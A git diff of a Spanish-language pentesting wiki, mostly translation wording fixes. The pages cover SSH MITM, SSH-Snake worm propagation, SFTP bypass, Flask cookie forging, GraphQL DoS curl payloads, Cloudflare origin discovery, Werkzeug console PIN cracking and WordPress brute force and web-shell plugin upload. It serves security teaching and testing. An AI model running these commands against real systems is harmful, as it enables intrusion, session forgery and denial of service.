- **Intercepción y registro:** La máquina del atacante actúa como un **proxy**, **capturando** los detalles de inicio de sesión del usuario al hacerse pasar por el servidor SSH legítimo.
- **Ejecución de comandos y reenvío:** Finalmente, el servidor del atacante **registra las credenciales del usuario**, **reenviando los comandos** al verdadero servidor SSH, **ejecutándolos** y **enviando los resultados de vuelta** al usuario, haciendo que el proceso parezca fluido y legítimo.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) hace exactamente lo que se describe arriba.
@ -176,7 +176,7 @@ SSH-Snake realiza las siguientes tareas automáticamente y de forma recursiva:
3. Intenta SSH en todos los destinos utilizando todas las claves privadas descubiertas,
4. Si se conecta con éxito a un destino, repite los pasos #1 - #4 en el sistema conectado.
Es completamente autorreplicante y autopropagante -- y completamente sin archivos.
Es completamente auto-replicante y auto-propagante -- y completamente sin archivos.
## Errores de configuración
@ -197,7 +197,7 @@ Es común que los servidores SSH permitan el inicio de sesión del usuario root
### Ejecución de comandos SFTP
Hay un descuido común que ocurre con las configuraciones de SFTP, donde los administradores pretenden que los usuarios intercambien archivos sin habilitar el acceso a la shell remota. A pesar de configurar a los usuarios con shells no interactivas (por ejemplo, `/usr/bin/nologin`) y confinarlos a un directorio específico, permanece una brecha de seguridad. **Los usuarios pueden eludir estas restricciones** solicitando la ejecución de un comando (como `/bin/bash`) inmediatamente después de iniciar sesión, antes de que su shell no interactiva designada tome el control. Esto permite la ejecución no autorizada de comandos, socavando las medidas de seguridad previstas.
Hay un descuido común que ocurre con las configuraciones de SFTP, donde los administradores pretenden que los usuarios intercambien archivos sin habilitar el acceso a la shell remota. A pesar de configurar a los usuarios con shells no interactivas (por ejemplo, `/usr/bin/nologin`) y confinarlos a un directorio específico, permanece una brecha de seguridad. **Los usuarios pueden eludir estas restricciones** solicitando la ejecución de un comando (como `/bin/bash`) inmediatamente después de iniciar sesión, antes de que su shell no interactivo designado tome el control. Esto permite la ejecución no autorizada de comandos, socavando las medidas de seguridad previstas.
[Ejemplo de aquí](https://community.turgensec.com/ssh-hacking-guide/):
```bash
@ -234,7 +234,7 @@ PermitTTY no
```
Esta configuración permitirá solo SFTP: deshabilitando el acceso a la shell al forzar el comando de inicio y deshabilitando el acceso TTY, pero también deshabilitando todo tipo de reenvío de puertos o túneles.
### SFTP Tunneling
### Túnel SFTP
Si tienes acceso a un servidor SFTP, también puedes tunelizar tu tráfico a través de esto, por ejemplo, utilizando el reenvío de puertos común:
```bash

4
src/network-services-pentesting/pentesting-web/buckets/README.md
View File

@ -4,6 +4,8 @@
Consulta esta página si deseas aprender más sobre la enumeración y el abuso de Buckets:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

6
src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
View File

@ -4,10 +4,12 @@
## Qué es Firebase
Firebase es un Backend-as-a-Services principalmente para aplicaciones móviles. Se centra en eliminar la carga de programar el back-end proporcionando un SDK agradable, así como muchas otras cosas interesantes que facilitan la interacción entre la aplicación y el back-end.
Firebase es un Backend-as-a-Service principalmente para aplicaciones móviles. Se centra en eliminar la carga de programar el back-end proporcionando un SDK agradable, así como muchas otras cosas interesantes que facilitan la interacción entre la aplicación y el back-end.
Aprende más sobre Firebase en:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

4
src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
View File

@ -15,7 +15,9 @@ cachedArchives[p].destroy()
}
})
```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
{{#ref}}
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
{{#endref}}
![](<../../../images/image (1070).png>)

8
src/network-services-pentesting/pentesting-web/flask.md
View File

@ -24,7 +24,9 @@ La cookie también está firmada usando una contraseña
Herramienta de línea de comandos para obtener, decodificar, forzar por fuerza bruta y crear cookies de sesión de una aplicación Flask adivinando claves secretas.
{% embed url="https://pypi.org/project/flask-unsign/" %}
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
@ -48,7 +50,9 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
Herramienta de línea de comandos para realizar ataques de fuerza bruta a sitios web utilizando cookies creadas con flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```

40
src/network-services-pentesting/pentesting-web/graphql.md
View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Introducción
GraphQL se **destaca** como una **alternativa eficiente** a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. En contraste con REST, que a menudo requiere numerosas solicitudes a través de diversos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria a través de una **solicitud única**. Esta simplificación **beneficia significativamente a los desarrolladores** al disminuir la complejidad de sus procesos de obtención de datos.
## GraphQL y Seguridad
Con la llegada de nuevas tecnologías, incluido GraphQL, también surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que **GraphQL no incluye mecanismos de autenticación por defecto**. Es responsabilidad de los desarrolladores implementar tales medidas de seguridad. Sin una autenticación adecuada, los endpoints de GraphQL pueden exponer información sensible a usuarios no autenticados, lo que representa un riesgo de seguridad significativo.
Con la llegada de nuevas tecnologías, incluido GraphQL, también surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que **GraphQL no incluye mecanismos de autenticación por defecto**. Es responsabilidad de los desarrolladores implementar tales medidas de seguridad. Sin la autenticación adecuada, los endpoints de GraphQL pueden exponer información sensible a usuarios no autenticados, lo que representa un riesgo de seguridad significativo.
### Ataques de Fuerza Bruta en Directorios y GraphQL
@ -24,7 +23,7 @@ Para identificar instancias de GraphQL expuestas, se recomienda la inclusión de
- `/graphql/api`
- `/graphql/graphql`
Identificar instancias de GraphQL abiertas permite examinar las consultas soportadas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que un esquema soporta. Para más información sobre esto, consulta la documentación de GraphQL sobre introspección: [**GraphQL: Un lenguaje de consulta para APIs.**](https://graphql.org/learn/introspection/)
Identificar instancias de GraphQL abiertas permite examinar las consultas admitidas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que un esquema admite. Para más información sobre esto, consulta la documentación de GraphQL sobre introspección: [**GraphQL: Un lenguaje de consulta para APIs.**](https://graphql.org/learn/introspection/)
### Huella Digital
@ -203,7 +202,7 @@ Sin embargo, en este ejemplo, si intentas hacerlo, obtienes este **error**:
![](<../../images/image (1042).png>)
Parece que de alguna manera buscará utilizando el argumento "_**uid**_" de tipo _**Int**_.\
De todos modos, ya sabíamos eso, en la sección de [Basic Enumeration](graphql.md#basic-enumeration) se propuso una consulta que nos mostraba toda la información necesaria: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
De todos modos, ya lo sabíamos, en la sección de [Basic Enumeration](graphql.md#basic-enumeration) se propuso una consulta que nos mostraba toda la información necesaria: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Si lees la imagen proporcionada cuando ejecuto esa consulta, verás que "_**user**_" tenía el **arg** "_**uid**_" de tipo _Int_.
@ -335,7 +334,7 @@ releaseYear
```
### Sobrecarga de Directivas
Como se explica en [**una de las vulnerabilidades descritas en este informe**](https://www.landh.tech/blog/20240304-google-hack-50000/), una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor desperdicie operaciones hasta que sea posible hacer un DoS.
Como se explica en [**una de las vulnerabilidades descritas en este informe**](https://www.landh.tech/blog/20240304-google-hack-50000/), una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor desperdicie operaciones hasta que sea posible realizar un DoS.
### Agrupación de fuerza bruta en 1 solicitud API
@ -354,7 +353,7 @@ Como podemos ver en la captura de pantalla de la respuesta, la primera y la terc
Cada vez más **puntos finales de graphql están deshabilitando la introspección**. Sin embargo, los errores que graphql lanza cuando se recibe una solicitud inesperada son suficientes para que herramientas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recreen la mayor parte del esquema.
Además, la extensión de Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa las solicitudes de API de GraphQL que pasan por Burp** y **construye** un **esquema** interno de GraphQL con cada nueva consulta que ve. También puede exponer el esquema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una consulta de introspección. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para más información [**ver esto**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Además, la extensión de Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa las solicitudes de API de GraphQL que pasan a través de Burp** y **construye** un **esquema** interno de GraphQL con cada nueva consulta que ve. También puede exponer el esquema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una consulta de introspección. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para más información [**ver esto**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Una buena **lista de palabras** para descubrir [**entidades de GraphQL se puede encontrar aquí**](https://github.com/Escape-Technologies/graphql-wordlist?).
@ -424,17 +423,17 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
Por lo tanto, dado que las solicitudes CSRF como las anteriores se envían **sin solicitudes de preflight**, es posible **realizar** **cambios** en el GraphQL abusando de un CSRF.
Sin embargo, tenga en cuenta que el nuevo valor predeterminado de la cookie de la bandera `samesite` de Chrome es `Lax`. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET.
Sin embargo, tenga en cuenta que el nuevo valor predeterminado de la cookie del flag `samesite` de Chrome es `Lax`. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET.
Tenga en cuenta que generalmente es posible enviar la **solicitud** **de consulta** también como una **solicitud GET y el token CSRF podría no estar siendo validado en una solicitud GET.**
Tenga en cuenta que generalmente es posible enviar la **solicitud** **de consulta** también como una **solicitud GET y el token CSRF podría no estar validado en una solicitud GET.**
Además, abusar de un [**XS-Search**](../../pentesting-web/xs-search/) **ataque** podría ser posible para exfiltrar contenido del punto final de GraphQL abusando de las credenciales del usuario.
Además, abusando de un [**XS-Search**](../../pentesting-web/xs-search/) **ataque** podría ser posible exfiltrar contenido del endpoint de GraphQL abusando de las credenciales del usuario.
Para más información **verifique el** [**post original aquí**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Secuestro de WebSocket entre sitios en GraphQL
Similar a las vulnerabilidades CRSF que abusan de graphQL, también es posible realizar un **secuestro de WebSocket entre sitios para abusar de una autenticación con GraphQL con cookies no protegidas** y hacer que un usuario realice acciones inesperadas en GraphQL.
Similar a las vulnerabilidades CRSF que abusan de GraphQL, también es posible realizar un **secuestro de WebSocket entre sitios para abusar de una autenticación con GraphQL con cookies no protegidas** y hacer que un usuario realice acciones inesperadas en GraphQL.
Para más información consulte:
@ -444,7 +443,7 @@ Para más información consulte:
## Autorización en GraphQL
Muchas funciones de GraphQL definidas en el punto final pueden solo verificar la autenticación del solicitante, pero no la autorización.
Muchas funciones de GraphQL definidas en el endpoint pueden solo verificar la autenticación del solicitante pero no la autorización.
Modificar las variables de entrada de la consulta podría llevar a detalles sensibles de la cuenta [filtrados](https://hackerone.com/reports/792927).
@ -491,7 +490,7 @@ valid
### Sobrecarga de Alias
**Sobrecarga de Alias** es una vulnerabilidad de GraphQL donde los atacantes sobrecargan una consulta con muchos alias para el mismo campo, lo que provoca que el resolutor del backend ejecute ese campo repetidamente. Esto puede abrumar los recursos del servidor, llevando a una **Denegación de Servicio (DoS)**. Por ejemplo, en la consulta a continuación, el mismo campo (`expensiveField`) se solicita 1,000 veces utilizando alias, obligando al backend a calcularlo 1,000 veces, potencialmente agotando la CPU o la memoria:
**Sobrecarga de Alias** es una vulnerabilidad de GraphQL donde los atacantes sobrecargan una consulta con muchos alias para el mismo campo, lo que provoca que el resolutor de backend ejecute ese campo repetidamente. Esto puede abrumar los recursos del servidor, llevando a una **Denegación de Servicio (DoS)**. Por ejemplo, en la consulta a continuación, el mismo campo (`expensiveField`) se solicita 1,000 veces utilizando alias, obligando al backend a calcularlo 1,000 veces, potencialmente agotando la CPU o la memoria:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
@ -522,7 +521,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
```
Tenga en cuenta que en el ejemplo anterior `@aa` es una directiva personalizada que **puede no estar declarada**. Una directiva común que generalmente existe es **`@include`**:
Tenga en cuenta que en el ejemplo anterior `@aa` es una directiva personalizada que **puede no estar declarada**. Una directiva común que suele existir es **`@include`**:
```bash
curl -X POST \
-H "Content-Type: application/json" \
@ -540,7 +539,7 @@ Y luego **usa algunos de los personalizados**.
### **Vulnerabilidad de Duplicación de Campos**
**Duplicación de Campos** es una vulnerabilidad donde un servidor GraphQL permite consultas con el mismo campo repetido en exceso. Esto obliga al servidor a resolver el campo de manera redundante para cada instancia, consumiendo recursos significativos (CPU, memoria y llamadas a la base de datos). Un atacante puede crear consultas con cientos o miles de campos repetidos, causando una alta carga y potencialmente llevando a un **Denial of Service (DoS)**.
**La Duplicación de Campos** es una vulnerabilidad donde un servidor GraphQL permite consultas con el mismo campo repetido en exceso. Esto obliga al servidor a resolver el campo de manera redundante para cada instancia, consumiendo recursos significativos (CPU, memoria y llamadas a la base de datos). Un atacante puede crear consultas con cientos o miles de campos repetidos, causando una alta carga y potencialmente llevando a un **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -554,10 +553,10 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Prueba configuraciones incorrectas comunes de endpoints graphql
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoría de seguridad de GraphQL con un enfoque en realizar consultas y mutaciones de GraphQL por lotes.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identificar el graphql que se está utilizando
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de herramientas que se puede usar para obtener esquemas y buscar datos sensibles, probar autorización, forzar esquemas y encontrar rutas a un tipo dado.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Se puede usar como independiente o [extensión de Burp](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): También se puede usar como cliente CLI para automatizar ataques
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que enumera las diferentes formas de **alcanzar un tipo dado en un esquema GraphQL**.
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de herramientas que se puede utilizar para obtener esquemas y buscar datos sensibles, probar autorización, forzar esquemas y encontrar rutas a un tipo dado.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Se puede utilizar como independiente o [extensión de Burp](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): También se puede utilizar como cliente CLI para automatizar ataques
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que lista las diferentes formas de **alcanzar un tipo dado en un esquema GraphQL**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): El sucesor de los modos independiente y CLI de InQL
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensión de Burp para pruebas avanzadas de GraphQL. El _**Escáner**_ es el núcleo de InQL v5.0, donde puedes analizar un endpoint de GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las posibles consultas y mutaciones, organizándolas en una vista estructurada para tu análisis. El componente _**Atacante**_ te permite ejecutar ataques por lotes de GraphQL, lo que puede ser útil para eludir límites de tasa mal implementados.
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Intenta obtener el esquema incluso con la introspección deshabilitada utilizando la ayuda de algunas bases de datos Graphql que sugerirán los nombres de mutaciones y parámetros.
@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
### Pruebas Automáticas
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
{{#ref}}
https://graphql-dashboard.herokuapp.com/
{{#endref}}
- Video explicando AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
{{#include ../../banners/hacktricks-training.md}}

12
src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
View File

@ -14,7 +14,7 @@
## Herramientas para descubrir Cloudflare
- Busca el dominio en [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) o [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). O usa la herramienta [CloudPeler](https://github.com/zidansec/CloudPeler) (que utiliza esa API)
- Busca el dominio dentro de [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) o [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). O usa la herramienta [CloudPeler](https://github.com/zidansec/CloudPeler) (que utiliza esa API)
- Busca el dominio en [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
- [**CloudFlair**](https://github.com/christophetd/CloudFlair) es una herramienta que buscará utilizando certificados de Censys que contengan el nombre de dominio, luego buscará IPv4s dentro de esos certificados y finalmente intentará acceder a la página web en esas IPs.
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r es una poderosa herramienta de Python meticulosamente diseñada para descubrir la verdadera dirección IP de sitios web protegidos por Cloudflare y otras alternativas, un servicio de seguridad web y mejora del rendimiento ampliamente adoptado. Su misión principal es discernir con precisión la dirección IP real de los servidores web que están ocultos detrás del escudo protector de Cloudflare.
@ -41,7 +41,9 @@ Ten en cuenta que, aunque esto se hizo para máquinas de AWS, podría hacerse pa
Para una mejor descripción de este proceso, consulta:
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
```bash
# Find open ports
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
@ -59,18 +61,18 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
### Extracciones de Origen Autenticadas
Este mecanismo se basa en **certificados SSL** [**de cliente**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **para autenticar conexiones** entre los servidores **reverse-proxy** de **Cloudflare** y el servidor **de origen**, lo que se llama **mTLS**.
Este mecanismo se basa en **certificados SSL** [**del cliente**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **para autenticar conexiones** entre los servidores de **proxy inverso de Cloudflare** y el servidor **de origen**, lo que se llama **mTLS**.
En lugar de configurar su propio certificado, los clientes pueden simplemente usar el certificado de Cloudflare para permitir cualquier conexión desde Cloudflare, **independientemente del inquilino**.
> [!CAUTION]
> Por lo tanto, un atacante podría simplemente establecer un **dominio en Cloudflare usando el certificado de Cloudflare y apuntar** a la dirección **IP** del dominio **de la víctima**. De esta manera, al establecer su dominio completamente desprotegido, Cloudflare no protegerá las solicitudes enviadas.
> Por lo tanto, un atacante podría simplemente establecer un **dominio en Cloudflare usando el certificado de Cloudflare y apuntar** a la dirección **IP** del dominio **de la víctima**. De esta manera, al configurar su dominio completamente desprotegido, Cloudflare no protegerá las solicitudes enviadas.
Más información [**aquí**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
### Direcciones IP de Cloudflare en la Lista Blanca
Esto **rechazará conexiones que no se originen en las** direcciones IP de **Cloudflare**. Esto también es vulnerable a la configuración anterior donde un atacante simplemente **apunta su propio dominio en Cloudflare** a la dirección **IP** de las **víctimas**.
Esto **rechazará conexiones que no se originen en las** direcciones IP de Cloudflare. Esto también es vulnerable a la configuración anterior donde un atacante simplemente **apunta su propio dominio en Cloudflare** a la dirección **IP** de las **víctimas**.
Más información [**aquí**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).

14
src/network-services-pentesting/pentesting-web/werkzeug.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Consola RCE
Si el modo de depuración está activo, podrías intentar acceder a `/console` y obtener RCE.
@ -25,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Un mensaje sobre el escenario "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando un requisito de un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar en el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), aunque se aconseja obtener el código del servidor real a través de una vulnerabilidad de recorrido de archivos debido a posibles discrepancias de versión.
Un mensaje sobre el escenario "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando que se requiere un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar en el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), aunque se aconseja obtener el código del servidor real a través de una vulnerabilidad de recorrido de archivos debido a posibles discrepancias de versión.
Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `probably_public_bits` y `private_bits`:
@ -34,13 +33,13 @@ Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `pr
- **`username`**: Se refiere al usuario que inició la sesión de Flask.
- **`modname`**: Generalmente designado como `flask.app`.
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generalmente se resuelve en **Flask**.
- **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intente `app.pyc`**.
- **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intenta `app.pyc`**.
#### **`private_bits`**
- **`uuid.getnode()`**: Obtiene la dirección MAC de la máquina actual, con `str(uuid.getnode())` traduciéndola a un formato decimal.
- Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtrar `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extraer la dirección MAC** de **`/sys/class/net/<device id>/address`**.
- Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtra `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extrae la dirección MAC** de **`/sys/class/net/<device id>/address`**.
- La conversión de una dirección MAC hexadecimal a decimal se puede realizar como se muestra a continuación:
```python
@ -150,11 +149,13 @@ Este script produce el PIN al hashear los bits concatenados, agregar sales espec
Como se observó en [**este problema**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug no cierra una solicitud con caracteres Unicode en los encabezados. Y como se explicó en [**este informe**](https://mizu.re/post/twisty-python), esto podría causar una vulnerabilidad de CL.0 Request Smuggling.
Esto se debe a que, en Werkzeug, es posible enviar algunos caracteres **Unicode** y hará que el servidor **se rompa**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**.
Esto se debe a que, en Werkzeug, es posible enviar algunos caracteres **Unicode** y hará que el servidor **se rompa**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud se tratará como la **siguiente solicitud HTTP**.
## Explotación Automatizada
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
{{#ref}}
https://github.com/Ruulian/wconsole_extractor
{{#endref}}
## Referencias
@ -163,5 +164,4 @@ Esto se debe a que, en Werkzeug, es posible enviar algunos caracteres **Unicode*
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
{{#include ../../banners/hacktricks-training.md}}

30
src/network-services-pentesting/pentesting-web/wordpress.md
View File

@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Plugins y Temas
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás **forzar activamente una lista de Plugins y Temas** (esperemos que para nosotros haya herramientas automatizadas que contengan estas listas).
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrirlos todos, necesitarás **forzar activamente una lista de Plugins y Temas** (esperemos que haya herramientas automatizadas que contengan estas listas).
### Usuarios
@ -168,11 +168,11 @@ Usando las credenciales correctas, puedes subir un archivo. En la respuesta, el
</params>
</methodCall>
```
También hay una **manera más rápida** de forzar credenciales usando **`system.multicall`** ya que puedes intentar varias credenciales en la misma solicitud:
También hay una **manera más rápida** de realizar un ataque de fuerza bruta a las credenciales usando **`system.multicall`** ya que puedes probar varias credenciales en la misma solicitud:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
**Eludir 2FA**
Este método está destinado a programas y no a humanos, y es antiguo, por lo tanto, no soporta 2FA. Así que, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, **podrías abusar de xmlrpc.php para iniciar sesión con esas credenciales eludiendo 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero aún podrías llegar a RCE como lo explica Ippsec en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
@ -225,7 +225,9 @@ Esta es la respuesta cuando no funciona:
## SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
{{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Esta herramienta verifica si el **methodName: pingback.ping** y para la ruta **/wp-json/oembed/1.0/proxy** y si existe, intenta explotarlos.
@ -267,11 +269,11 @@ para obtener una sesión.
### Plugin PHP
Puede ser posible subir archivos .php como un plugin.\
Crea tu puerta trasera en php usando, por ejemplo:
Crea tu puerta trasera php usando, por ejemplo:
![](<../../images/image (183).png>)
Luego añade un nuevo plugin:
Luego agrega un nuevo plugin:
![](<../../images/image (722).png>)
@ -293,16 +295,16 @@ Accede a ella y verás la URL para ejecutar la shell inversa:
### Subiendo y activando un plugin malicioso
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y puede ser explotado para obtener una web shell. Este proceso se lleva a cabo a través del panel de control de WordPress de la siguiente manera:
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y puede ser explotado para obtener una shell web. Este proceso se lleva a cabo a través del panel de control de WordPress de la siguiente manera:
1. **Adquisición del Plugin**: El plugin se obtiene de una fuente como Exploit DB como [**aquí**](https://www.exploit-db.com/exploits/36374).
2. **Instalación del Plugin**:
- Navega al panel de control de WordPress, luego ve a `Panel > Plugins > Subir Plugin`.
